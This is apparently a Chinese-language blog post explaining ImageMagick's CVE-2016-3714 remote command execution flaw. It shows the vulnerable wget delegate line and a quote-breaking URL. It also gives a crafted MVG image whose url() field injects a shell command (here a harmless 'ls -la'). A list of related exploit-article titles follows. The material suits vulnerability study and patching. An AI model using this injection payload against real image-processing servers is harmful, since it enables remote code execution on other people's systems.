ImageMagick Remote Command Execute
CVE ID: CVE-2016-3714
我挺纠结应该用中文写博客还是应该用英文写博客。英文吧作用挺明显的,可以锻炼自己的英语表达能力,但是可能会阻碍和一些英文不好的朋友交流。
It's upsetting to determine whether to write blog in English or in Chinese.Absolutely, I can train my capability of expression.But it may be in the way of communication of friends.
先拿中文写吧。
I will write in Chinese at present.
由于ImageMagick在Java/PHP/Python等库中应用广泛,所以在全世界各种网站中十分流行。因此这个RCE就十分严重了。
问题理解起来十分简单,ImageMagick在处理url为https开头的图片时,对于图片地址字符串没有进行过滤就直接放入system()执行,导致存在命令注入:
" <delegate decode=\"https\" command=\""wget" -q -O "%o" "https:%M"\"/>"
status=system(sanitize_command);
注意,%M是占位符,代表图片url。所以command实际上是:
"wget" -q -O "%o" "https:%M"
那么如果我们的图片url是类似于下面的:
https://example.com"|ls "-al
则command变成了:
"wget" -q -O "%o" "https://example.com" | ls "-al"
也就是说,引号被提前闭合了(跟基本的SQL注入很像吧)
在本地测试一下:

成功执行了ls -al
我们可以把命令写入一个图片中:
push graphic-context
viewbox 0 0 640 480
fill 'url(https://example.com/image.jpg"|ls "-la)'
pop graphic-context
保存为x.png:

End:
哎人艰不拆人艰不拆,你们这种漏洞真的好嘛 : )
ImageMagick Remote Command Execute的更多相关文章
- PowerShell vs. PsExec for Remote Command Execution
Posted by Jianpeng Mo / January 20, 2014 Monitoring and maintaining large-scale, complex, highly dis ...
- struts2 CVE-2012-0392 S2-008 Strict DMI does not work correctly allows remote command execution and arbitrary file overwrite
catalog . Description . Effected Scope . Exploit Analysis . Principle Of Vulnerability . Patch Fix 1 ...
- struts2 CVE-2010-1870 S2-005 XWork ParameterInterceptors bypass allows remote command execution
catalog . Description . Effected Scope . Exploit Analysis . Principle Of Vulnerability . Patch Fix 1 ...
- JMX/RMI Nice ENGAGE <= 6.5 Remote Command Execution
CVE ID : CVE-2019-7727 JMX/RMI Nice ENGAGE <= 6.5 Remote Command Execution description=========== ...
- [EXP]Jenkins 2.150.2 - Remote Command Execution (Metasploit)
## # This module requires Metasploit: https://metasploit.com/download # Current source: https://gith ...
- Android shell command execute Demo
package com.android.utils; import java.io.File; import java.io.IOException; import java.io.InputStre ...
- struts2 CVE-2013-2251 S2-016 action、redirect code injection remote command execution
catalog . Description . Effected Scope . Exploit Analysis . Principle Of Vulnerability . Patch Fix 1 ...
- struts2 CVE-2013-1965 S2-012 Showcase app vulnerability allows remote command execution
catalog . Description . Effected Scope . Exploit Analysis . Principle Of Vulnerability . Patch Fix 1 ...
- [EXP]Drupal < 8.5.11 / < 8.6.10 - RESTful Web Services unserialize() Remote Command Execution (Metasploit)
## # This module requires Metasploit: https://metasploit.com/download # Current source: https://gith ...
随机推荐
- zDialog 可拖拽弹出层
zDialog弹出框: 代替window.open.window.alert.window.confirm:提供良好的用户体验: 水晶质感,设计细腻,外观漂亮: 兼容ie6/7/8.firefox2/ ...
- 原生JS:Array对象详解
Array对象 本文参考MDN做的详细整理,方便大家参考[MDN](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/ ...
- JavaScript学习笔记-基础语法、类型、变量
基础语法.类型.变量 非数字值的判断方法:(因为Infinity和NaN他们不等于任何值,包括自身) 1.用x != x ,当x为NaN时才返回true; 2.用isNaN(x) ,当x为NaN或 ...
- 盒图(boxplot)
最近在摆弄数据离散度的时候遇到一种图形,叫做盒图(boxplot).它对于显示数据的离散的分布情况效果不错. 盒图是在1977年由美国的统计学家约翰·图基(John Tukey)发明的.它由五个数值点 ...
- linux命令学习使用记录
1.文件批量重命名:把所有.xml文件重命名.txt,第一个参数为文件名中字符串,第二个参数为替换后文件名,第三个为当前目录文件列表 rename .xml .txt *.xml 2.解压不显示过程: ...
- Java学习心得之 Linux下搭建Java环境
作者:枫雪庭 出处:http://www.cnblogs.com/FengXueTing-px/ 欢迎转载 Java学习心得之 Linux下搭建Java环境 1.前言2.JDK安装3.配置环境变量4. ...
- Binder中的asInterface解析
在使用AIDL通信的时候,在Stub类中都会生成一个asInterface函数,以<Android开发艺术探索>中的例子来分析,其生成的asInterface函数源码为: /** * Ca ...
- 【原】iOS容易造成循环引用的三种场景,就在你我身边!
ARC已经出来很久了,自动释放内存的确很方便,但是并非绝对安全绝对不会产生内存泄露.导致iOS对象无法按预期释放的一个无形杀手是——循环引用.循环引用可以简单理解为A引用了B,而B又引用了A,双方都同 ...
- APNS远程推送(转发)
/*****************************************2************************************************/ /****** ...
- 代码合并工具——Beyond Compare
由于公司现在人比较多,存在多个小组同时开发一个项目的情况.为避免不同小组之间代码的冲突,我们的SVN采用了打分支的情况. 这造成我们自己小组的内容上线后要合并到不同的分支和主干上去. 于是就找了这个合 ...